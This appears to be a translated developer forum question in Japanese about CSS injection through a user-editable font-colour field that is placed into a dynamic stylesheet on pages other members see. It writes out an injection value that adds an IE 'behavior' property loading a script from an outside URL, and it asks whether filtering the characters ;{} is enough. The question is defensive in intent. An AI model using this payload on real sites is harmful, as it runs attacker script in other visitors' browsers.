私のサイトにログインしているユーザーのために、次のようなフォームがあります。
<form>
<input name="fontColor"><input type="submit">
</form>
これにより、ユーザーは自分のページをフォントの色でカスタマイズできます(自分のページは他のログインユーザーにも表示されます)。このフォントの色をページに配置する方法は、次のように構成されたページの先頭にある動的なスタイルシートを使用することです。
body { color: <fontColor>; }
ユーザーがfontColorにこれを入力したとします。
default; behavior: url(http://www.myscript.com/script.htc)
次に、CSSは次のようになります
body {color: default;behavior: url(http://www.myscript.com/script.htc)}
これは、ユーザーの「メンバーページ」がscript.htcをページに挿入するため、このメンバーのページにアクセスする他のメンバーがそのスクリプトを実行することを意味します(したがって、他の訪問者に攻撃が発生します)。
これを防ぐために、サーバーは;{}
「fontColor」フィールドに入力された文字を無視します。
この場合、結果として得られるCSSは無効になり、機能しなくなります。
body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}
基本的に私の質問はこれらに要約されます:
- 文字を使わずにスクリプトを挿入する方法はまだあり
{};
ますか? - 許可
{};
されたとすると、(IEで機能する動作スタイル以外の)不要なスクリプトをCSSに挿入する方法は他にありますか?
ここでの最善の解決策は、ユーザーが色に関してそれほど自由にならないようにfontColorを検証することですが、学術的な目的のために、何が起こるかについてできるだけ多くのことを知りたいと思います。